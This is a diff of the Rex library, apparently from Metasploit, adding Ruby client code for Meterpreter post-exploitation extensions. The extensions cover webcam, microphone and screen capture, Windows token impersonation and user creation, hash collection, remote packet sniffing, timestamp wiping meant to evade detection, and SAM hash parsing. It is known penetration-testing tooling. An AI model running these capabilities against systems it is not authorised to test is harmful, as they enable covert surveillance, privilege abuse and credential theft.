librex 0.0.20 → 0.0.21

data/lib/rex/post/meterpreter/dependencies.rb

@@ -0,0 +1,3 @@
+#!/usr/bin/env ruby
+
+require 'rex/post/permission'

data/lib/rex/post/meterpreter/extension.rb

@@ -0,0 +1,32 @@
+#!/usr/bin/env ruby
+
+module Rex
+module Post
+module Meterpreter
+
+###
+#
+# Base class for all extensions that holds a reference to the
+# client context that they are part of.  Each extension also has a defined
+# name through which it is referenced.
+#
+###
+class Extension
+
+	#
+	# Initializes the client and name attributes.
+	#
+	def initialize(client, name)
+		self.client = client
+		self.name   = name
+	end
+
+	#
+	# The name of the extension.
+	#
+	attr_accessor :name
+protected
+	attr_accessor :client # :nodoc:
+end
+
+end; end; end

data/lib/rex/post/meterpreter/extensions/espia/espia.rb

@@ -0,0 +1,58 @@
+#!/usr/bin/env ruby
+
+require 'rex/post/meterpreter/extensions/espia/tlv'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Espia
+
+###
+#
+# This meterpreter extensions interface that is capable
+# grab webcam frame and recor mic audio
+#
+###
+class Espia < Extension
+
+
+	def initialize(client)
+		super(client, 'espia')
+
+		client.register_extension_aliases(
+			[
+				{ 
+					'name' => 'espia',
+					'ext'  => self
+				},
+			])
+	end
+
+	def espia_video_get_dev_image()
+		request = Packet.create_request('espia_video_get_dev_image')
+		response = client.send_request(request)
+		
+		return true
+	end
+	
+	def espia_audio_get_dev_audio(rsecs)
+		request = Packet.create_request('espia_audio_get_dev_audio')
+		request.add_tlv(TLV_TYPE_DEV_RECTIME, rsecs)
+		response = client.send_request(request)
+	
+		return true
+	end
+	
+	def espia_image_get_dev_screen
+		request  = Packet.create_request( 'espia_image_get_dev_screen' )    
+		response = client.send_request( request )
+		if( response.result == 0 )
+			return response.get_tlv_value( TLV_TYPE_DEV_SCREEN )
+		end
+		return nil
+	end
+
+end
+
+end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/espia/tlv.rb

@@ -0,0 +1,16 @@
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Espia
+
+TLV_TYPE_DEV_IMAGE = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 911)
+TLV_TYPE_DEV_AUDIO = TLV_META_TYPE_STRING| (TLV_EXTENSIONS + 912)
+TLV_TYPE_DEV_SCREEN = TLV_META_TYPE_RAW| (TLV_EXTENSIONS + 913)
+TLV_TYPE_DEV_RECTIME = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 914)
+
+end
+end
+end
+end
+end

data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb

@@ -0,0 +1,94 @@
+#!/usr/bin/env ruby
+
+require 'rex/post/meterpreter/extensions/incognito/tlv'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Incognito
+
+###
+#
+# This meterpreter extensions a privilege escalation interface that is capable
+# of doing things like dumping password hashes and performing local
+# exploitation.
+#
+###
+class Incognito < Extension
+
+
+	def initialize(client)
+		super(client, 'incognito')
+
+		client.register_extension_aliases(
+			[
+				{ 
+					'name' => 'incognito',
+					'ext'  => self
+				},
+			])
+	end
+
+
+	def incognito_list_tokens(token_order)
+		request = Packet.create_request('incognito_list_tokens')
+		request.add_tlv(TLV_TYPE_INCOGNITO_LIST_TOKENS_ORDER, token_order)
+
+		response = client.send_request(request)
+		
+		return {
+			'delegation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION),
+			'impersonation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION) 
+		}
+	end
+
+	def incognito_impersonate_token(username)
+		request = Packet.create_request('incognito_impersonate_token')
+		request.add_tlv(TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN, username)
+		response = client.send_request(request)
+
+		response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
+	end
+
+	def incognito_add_user(host, username, password)
+		request = Packet.create_request('incognito_add_user')
+		request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)
+		request.add_tlv(TLV_TYPE_INCOGNITO_PASSWORD, password)
+		request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
+		response = client.send_request(request)
+
+		response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
+	end
+
+	def incognito_add_group_user(host, groupname, username)
+		request = Packet.create_request('incognito_add_group_user')
+		request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)
+		request.add_tlv(TLV_TYPE_INCOGNITO_GROUPNAME, groupname)
+		request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
+		response = client.send_request(request)
+
+		response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
+	end
+
+	def incognito_add_localgroup_user(host, groupname, username)
+		request = Packet.create_request('incognito_add_localgroup_user')
+		request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)
+		request.add_tlv(TLV_TYPE_INCOGNITO_GROUPNAME, groupname)
+		request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
+		response = client.send_request(request)
+
+		response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
+	end
+
+	def incognito_snarf_hashes(host)
+		request = Packet.create_request('incognito_snarf_hashes')
+		request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
+		response = client.send_request(request)
+
+		return true
+	end
+
+end
+
+end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb

@@ -0,0 +1,21 @@
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Incognito
+
+TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION        	= TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2)
+TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION        	= TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
+TLV_TYPE_INCOGNITO_LIST_TOKENS_ORDER       	= TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 4)
+TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 5)
+TLV_TYPE_INCOGNITO_GENERIC_RESPONSE    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 6)
+TLV_TYPE_INCOGNITO_USERNAME    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 7)
+TLV_TYPE_INCOGNITO_PASSWORD    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 8)
+TLV_TYPE_INCOGNITO_SERVERNAME    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9)
+TLV_TYPE_INCOGNITO_GROUPNAME    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 10)
+
+end
+end
+end
+end
+end

data/lib/rex/post/meterpreter/extensions/networkpug/networkpug.rb

@@ -0,0 +1,57 @@
+#!/usr/bin/env ruby
+
+require 'rex/post/meterpreter/extensions/networkpug/tlv'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module NetworkPug
+
+# NetworkPug implements a remote packet recieve/send on a network interface
+# on the remote machine
+
+class NetworkPug < Extension
+
+	def initialize(client)
+		super(client, 'networkpug')
+
+		client.register_extension_aliases(
+			[
+				{ 
+					'name' => 'networkpug',
+					'ext'  => self
+				},
+			])
+	end
+
+	def networkpug_start(interface, filter)
+		request = Packet.create_request('networkpug_start')
+		request.add_tlv(TLV_TYPE_NETWORKPUG_INTERFACE, interface)
+		request.add_tlv(TLV_TYPE_NETWORKPUG_FILTER, filter) if(filter and filter != "")
+		response = client.send_request(request)
+
+		channel = nil
+		channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
+		
+		if(channel_id)
+			channel = Rex::Post::Meterpreter::Channels::Pools::StreamPool.new(
+				client,
+				channel_id,
+				"networkpug_interface",
+				CHANNEL_FLAG_SYNCHRONOUS
+			)
+		end
+		
+		return response, channel
+	end
+	
+	def networkpug_stop(interface)
+		request = Packet.create_request('networkpug_stop')
+		request.add_tlv(TLV_TYPE_NETWORKPUG_INTERFACE, interface)
+		response = client.send_request(request)	
+	end
+		
+end
+
+end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb

@@ -0,0 +1,15 @@
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module NetworkPug
+
+TLV_TYPE_EXTENSION_NETWORKPUG	= 0
+TLV_TYPE_NETWORKPUG_INTERFACE	= TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_NETWORKPUG + TLV_EXTENSIONS + 1) 
+TLV_TYPE_NETWORKPUG_FILTER	= TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_NETWORKPUG + TLV_EXTENSIONS + 2)
+
+end
+end
+end
+end
+end

data/lib/rex/post/meterpreter/extensions/priv/fs.rb

@@ -0,0 +1,118 @@
+#!/usr/bin/env ruby
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Priv
+
+###
+#
+# This class provides an interface to modifying the file system to avoid
+# detection, such as by modifying extended file system attributes.
+#
+###
+class Fs
+
+	#
+	# Initializes the file system subsystem of the privilege escalation
+	# extension.
+	#
+	def initialize(client)
+		self.client = client
+	end
+
+	#
+	# Returns a hash of the Modified, Accessed, Created, and Entry Modified
+	# values for the specified file path.
+	#
+	def get_file_mace(file_path)
+		request = Packet.create_request('priv_fs_get_file_mace')
+
+		request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
+
+		response = client.send_request(request)
+
+		# Return the hash of times associated with the MACE values
+		begin
+			return {
+				'Modified'       => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_MODIFIED)),
+				'Accessed'       => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_ACCESSED)),
+				'Created'        => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_CREATED)),
+				'Entry Modified' => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_EMODIFIED))
+			}
+		rescue RangeError
+			raise RangeError, "Invalid MACE values"
+		end
+	end
+
+	#
+	# Sets the Modified, Accessed, Created, and Entry Modified attributes of
+	# the specified file path.  If a nil is supplied for a value, it will not
+	# be modified.  Otherwise, the times should be instances of the Time class.
+	#
+	def set_file_mace(file_path, modified = nil, accessed = nil, created = nil,
+		entry_modified = nil)
+		request = Packet.create_request('priv_fs_set_file_mace')
+
+		request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
+		request.add_tlv(TLV_TYPE_FS_FILE_MODIFIED, modified.to_i) if (modified)
+		request.add_tlv(TLV_TYPE_FS_FILE_ACCESSED, accessed.to_i) if (accessed)
+		request.add_tlv(TLV_TYPE_FS_FILE_CREATED, created.to_i) if (created)
+		request.add_tlv(TLV_TYPE_FS_FILE_EMODIFIED, entry_modified.to_i) if (entry_modified)
+
+		client.send_request(request)
+
+		true
+	end
+
+	#
+	# Sets the MACE attributes of the specified target_file_path to the MACE
+	# attributes of the source_file_path.
+	#
+	def set_file_mace_from_file(target_file_path, source_file_path)
+		request = Packet.create_request('priv_fs_set_file_mace_from_file')
+
+		request.add_tlv(TLV_TYPE_FS_FILE_PATH, target_file_path)
+		request.add_tlv(TLV_TYPE_FS_SRC_FILE_PATH, source_file_path)
+
+		client.send_request(request)
+
+		true
+	end
+
+	#
+	# Sets the MACE values to the minimum threshold that will cause them to not
+	# be displayed by most all products for a file.
+	#
+	def blank_file_mace(file_path)
+		request = Packet.create_request('priv_fs_blank_file_mace')
+
+		request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
+
+		client.send_request(request)
+
+		true
+	end
+
+	#
+	# Recursively set the MACE values to the minimum threshold for the supplied
+	# directory.
+	#
+	def blank_directory_mace(dir_path)
+		request = Packet.create_request('priv_fs_blank_directory_mace')
+
+		request.add_tlv(TLV_TYPE_FS_FILE_PATH, dir_path)
+
+		client.send_request(request)
+
+		true
+	end
+
+protected
+
+	attr_accessor :client # :nodoc:
+
+end
+
+end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/priv/passwd.rb

@@ -0,0 +1,61 @@
+#!/usr/bin/env ruby
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Priv
+
+###
+#
+# This class wraps a SAM hash entry.
+#
+###
+class SamUser
+
+	#
+	# Initializes the class from a hash string like this:
+	#
+	# Administrator:500:aad3b435b51404eeaadfb435b51404ee:31d6cfe0d16de931b73c59d7e0c089c0:::
+	#
+	def initialize(hash_str)
+		self.user_name, self.user_id, self.lanman, self.ntlm = hash_str.split(/:/)
+
+		self.hash_string = hash_str
+	end
+
+	#
+	# Returns the hash string that was supplied to the constructor.
+	#
+	def to_s
+		hash_string
+	end
+
+	#
+	# The raw hash string that was passed to the class constructor.
+	#
+	attr_reader :hash_string
+	#
+	# The username from the SAM database entry.
+	#
+	attr_reader :user_name
+	#
+	# The user's unique identifier from the SAM database.
+	#
+	attr_reader :user_id
+	#
+	# The LM hash.
+	#
+	attr_reader :lanman
+	#
+	# The NTLM hash.
+	#
+	attr_reader :ntlm
+
+protected
+
+	attr_writer :hash_string, :user_name, :user_id, :lanman, :ntlm # :nodoc:
+
+end
+
+end; end; end; end; end